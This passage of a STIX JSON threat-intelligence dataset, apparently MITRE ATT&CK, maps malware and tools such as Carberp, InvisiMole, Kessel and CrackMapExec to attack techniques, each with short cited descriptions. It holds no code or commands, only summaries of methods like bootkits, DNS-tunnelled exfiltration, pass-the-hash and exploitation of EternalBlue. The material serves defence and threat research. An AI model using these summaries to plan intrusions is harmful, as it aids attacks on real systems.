                    "url": "https://www.eset.com/fileadmin/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf",
                    "description": "Matrosov, A., Rodionov, E., Volkov, D., Harley, D. (2012, March 2). Win32/Carberp When You\u2019re in a Black Hole, Stop Digging. Retrieved July 15, 2020."
                },
                {
                    "source_name": "Prevx Carberp March 2011",
                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has exploited multiple Windows vulnerabilities (CVE-2010-2743, CVE-2010-3338, CVE-2010-4398, CVE-2008-1084) and a .NET Runtime Optimization vulnerability for privilege escalation.(Citation: ESET Carberp March 2012)(Citation: Prevx Carberp March 2011)",
            "relationship_type": "uses",
            "id": "relationship--5fdf6cb3-8046-4c32-aca6-75cda70b7614",
            "type": "relationship",
            "modified": "2020-07-29T21:36:24.489Z",
            "created": "2020-07-15T20:23:36.579Z"
        },
        {
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            "object_marking_refs": [
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            "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94",
            "target_ref": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba",
            "external_references": [
                {
                    "source_name": "ESET Carberp March 2012",
                    "url": "https://www.eset.com/fileadmin/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf",
                    "description": "Matrosov, A., Rodionov, E., Volkov, D., Harley, D. (2012, March 2). Win32/Carberp When You\u2019re in a Black Hole, Stop Digging. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has installed a bootkit on the system to maintain persistence.(Citation: ESET Carberp March 2012)",
            "relationship_type": "uses",
            "id": "relationship--02c3d977-d797-4105-9535-11682d4896e9",
            "type": "relationship",
            "modified": "2020-07-15T20:23:36.581Z",
            "created": "2020-07-15T20:23:36.581Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "Prevx Carberp March 2011",
                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has maintained persistence by placing itself inside the current user's startup folder.(Citation: Prevx Carberp March 2011)",
            "relationship_type": "uses",
            "id": "relationship--23bc50df-16da-4b2d-89b3-1a74c7602aa2",
            "type": "relationship",
            "modified": "2020-07-29T21:36:24.496Z",
            "created": "2020-07-15T20:23:36.591Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "external_references": [
                {
                    "source_name": "ESET Carberp March 2012",
                    "url": "https://www.eset.com/fileadmin/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf",
                    "description": "Matrosov, A., Rodionov, E., Volkov, D., Harley, D. (2012, March 2). Win32/Carberp When You\u2019re in a Black Hole, Stop Digging. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484)'s bootkit can inject a malicious DLL into the address space of running processes.(Citation: ESET Carberp March 2012)",
            "relationship_type": "uses",
            "id": "relationship--d5f2b0fc-c865-419d-aacd-8004ecba00df",
            "type": "relationship",
            "modified": "2020-08-03T15:14:18.118Z",
            "created": "2020-07-15T20:23:36.593Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94",
            "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d",
            "external_references": [
                {
                    "source_name": "ESET Carberp March 2012",
                    "url": "https://www.eset.com/fileadmin/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf",
                    "description": "Matrosov, A., Rodionov, E., Volkov, D., Harley, D. (2012, March 2). Win32/Carberp When You\u2019re in a Black Hole, Stop Digging. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has removed various hooks before installing the trojan or bootkit to evade sandbox analysis or other analysis software.(Citation: ESET Carberp March 2012)",
            "relationship_type": "uses",
            "id": "relationship--2c112e41-be75-4f99-84ac-ce7776f88fca",
            "type": "relationship",
            "modified": "2020-07-15T20:23:36.596Z",
            "created": "2020-07-15T20:23:36.596Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Juniper IcedID June 2020",
                    "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware",
                    "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."
                }
            ],
            "description": "[IcedID](https://attack.mitre.org/software/S0483) has used HTTPS in communications with C2.(Citation: Juniper IcedID June 2020)",
            "relationship_type": "uses",
            "id": "relationship--b82ab6ba-b590-440d-bfd1-75f18560a8b4",
            "type": "relationship",
            "modified": "2020-07-15T20:33:40.790Z",
            "created": "2020-07-15T20:33:40.790Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58",
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can collect information about installed software used by specific users, software executed on user login, and software executed by each system.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
            "id": "relationship--af7ec7e9-08d2-4459-8c05-047185799058",
            "type": "relationship",
            "modified": "2020-10-21T17:38:02.243Z",
            "created": "2020-07-16T15:07:27.066Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can check for the presence of network sniffers, AV, and BitDefender firewall.(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
            "id": "relationship--da7dbcec-4714-4bca-8b90-d3a0a95576d9",
            "type": "relationship",
            "modified": "2020-07-16T15:51:26.020Z",
            "created": "2020-07-16T15:07:27.115Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has used a custom implementation of DNS tunneling to embed C2 communications in DNS requests and replies.(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
            "id": "relationship--9c6804dc-e1d5-43f5-97ee-7d827c9d308d",
            "type": "relationship",
            "modified": "2020-07-16T15:07:27.123Z",
            "created": "2020-07-16T15:07:27.123Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has used TCP to download additional modules.(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
            "id": "relationship--3957be97-305f-4d42-9978-868cb83918a2",
            "type": "relationship",
            "modified": "2020-07-16T15:07:27.128Z",
            "created": "2020-07-16T15:07:27.128Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Bonadan](https://attack.mitre.org/software/S0486) can download additional modules from the C2 server.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--db2b0471-38e9-4c50-bf96-1c498f38223c",
            "type": "relationship",
            "modified": "2020-07-16T15:10:35.305Z",
            "created": "2020-07-16T15:10:35.305Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Bonadan](https://attack.mitre.org/software/S0486) can XOR-encrypt C2 communications.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--336e0a87-8ee2-420d-8fb8-10ea2c015723",
            "type": "relationship",
            "modified": "2020-07-23T16:24:07.845Z",
            "created": "2020-07-16T15:10:35.331Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Bonadan](https://attack.mitre.org/software/S0486) can find the external IP address of the infected host.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--5239c6fe-bb67-48c0-bd77-2267e1e71cf3",
            "type": "relationship",
            "modified": "2020-07-16T15:10:35.341Z",
            "created": "2020-07-16T15:10:35.341Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328",
            "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Bonadan](https://attack.mitre.org/software/S0486) can download an additional module which has a cryptocurrency mining extension.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--6c0d9758-34f0-49b4-ad12-91329b4398e2",
            "type": "relationship",
            "modified": "2020-07-16T15:10:35.333Z",
            "created": "2020-07-16T15:10:35.333Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328",
            "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Bonadan](https://attack.mitre.org/software/S0486) has maliciously altered the OpenSSH binary on targeted systems to create a backdoor.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--bc40c6be-575a-4eb9-981f-fa6c127d2286",
            "type": "relationship",
            "modified": "2020-07-16T15:10:35.343Z",
            "created": "2020-07-16T15:10:35.343Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Bonadan](https://attack.mitre.org/software/S0486) has discovered the OS version, CPU model, and RAM size of the system it has been installed on.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--34775b6e-f7dd-4b0f-bbb4-c696bfbda1c2",
            "type": "relationship",
            "modified": "2020-07-16T15:10:35.345Z",
            "created": "2020-07-16T15:10:35.345Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Bonadan](https://attack.mitre.org/software/S0486) has discovered the username of the user running the backdoor.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--db5506f9-9451-471f-bb68-845c281be09c",
            "type": "relationship",
            "modified": "2020-07-16T15:10:35.348Z",
            "created": "2020-07-16T15:10:35.348Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12",
            "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Kessel](https://attack.mitre.org/software/S0487) can split the data to be exilftrated into chunks that will fit in subdomains of DNS queries.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--45852cf6-f0e8-45b8-9636-0dee90f7d2fc",
            "type": "relationship",
            "modified": "2020-07-16T15:23:48.405Z",
            "created": "2020-07-16T15:23:48.405Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Kessel](https://attack.mitre.org/software/S0487) can use a proxy during exfiltration if set in the configuration.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--75aa57b2-5d2e-49ec-9c26-317b361632c3",
            "type": "relationship",
            "modified": "2020-07-16T15:23:48.442Z",
            "created": "2020-07-16T15:23:48.442Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Kessel](https://attack.mitre.org/software/S0487) can exfiltrate credentials and other information via HTTP POST request, TCP, and DNS.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--c291bd7d-bf11-4be0-8d31-77055bb7675a",
            "type": "relationship",
            "modified": "2020-07-23T16:50:06.786Z",
            "created": "2020-07-16T15:23:48.446Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Kessel](https://attack.mitre.org/software/S0487) can download additional modules from the C2 server.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
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                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Kessel](https://attack.mitre.org/software/S0487) has exfiltrated information gathered from the infected system to the C2 server.(Citation: ESET ForSSHe December 2018)",
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                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Kessel](https://attack.mitre.org/software/S0487) has collected the DNS address of the infected host.(Citation: ESET ForSSHe December 2018)",
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                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Kessel](https://attack.mitre.org/software/S0487) has collected the system architecture, OS version, and MAC address information.(Citation: ESET ForSSHe December 2018)",
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                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Kessel](https://attack.mitre.org/software/S0487) has decrypted the binary's configuration once the <code>main</code> function was launched.(Citation: ESET ForSSHe December 2018)",
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                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Kessel](https://attack.mitre.org/software/S0487)'s configuration is hardcoded and RC4 encrypted within the binary.(Citation: ESET ForSSHe December 2018)",
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                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Kessel](https://attack.mitre.org/software/S0487) has maliciously altered the OpenSSH binary on targeted systems to create a backdoor.(Citation: ESET ForSSHe December 2018)",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can capture keystrokes on a compromised host.(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can inject itself into another process to avoid detection including use of a technique called ListPlanting that customizes the sorting algorithm in a ListView structure.(Citation: ESET InvisiMole June 2020)",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can scan the network for open ports and vulnerable instances of RDP and SMB protocols.(Citation: ESET InvisiMole June 2020)",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can replace legitimate software or documents in the compromised network with their trojanized versions, in an attempt to propagate itself within the network.(Citation: ESET InvisiMole June 2020)",
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                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can spread within a network via the BlueKeep (CVE-2019-0708) and EternalBlue (CVE-2017-0144) vulnerabilities in RDP and SMB respectively.(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
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                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can check for artifacts of VirtualBox, Virtual PC and VMware environment, and terminate itself if they are detected.(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
            "id": "relationship--13aed490-7d1f-4839-90c9-32d587d58afd",
            "type": "relationship",
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            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
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                    "source_name": "CME Github September 2018",
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                    "description": "byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."
                }
            ],
            "description": "[CrackMapExec](https://attack.mitre.org/software/S0488) can collect DNS information from the targeted system.(Citation: CME Github September 2018)",
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                    "url": "https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference",
                    "description": "byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."
                }
            ],
            "description": "[CrackMapExec](https://attack.mitre.org/software/S0488) can create a registry key using wdigest.(Citation: CME Github September 2018)",
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            "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
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                    "description": "byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."
                }
            ],
            "description": "[CrackMapExec](https://attack.mitre.org/software/S0488) can pass the hash to authenticate via SMB.(Citation: CME Github September 2018)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[CrackMapExec](https://attack.mitre.org/software/S0488) can execute PowerShell commands via WMI.(Citation: CME Github September 2018)",
            "relationship_type": "uses",
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                    "description": "byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."
                }
            ],
            "description": "[CrackMapExec](https://attack.mitre.org/software/S0488) can enumerate the system drives and associated system name.(Citation: CME Github September 2018)",
            "relationship_type": "uses",
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            "source_ref": "tool--c4810609-7da6-48ec-8057-1b70a7814db0",
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                {
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            "target_ref": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64",
            "external_references": [
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can use the <code>ITaskService</code>, <code>ITaskDefinition</code> and <code>ITaskSettings</code> COM interfaces to schedule a task.(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
            "id": "relationship--2cae8d8d-e0de-4793-9acf-d21508189bf9",
            "type": "relationship",
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            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
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                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has used rundll32.exe for execution.(Citation: ESET InvisiMole June 2020)",
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            "id": "relationship--0ab3b4aa-55d9-44bb-8563-d7e614641d5a",
            "type": "relationship",
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            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
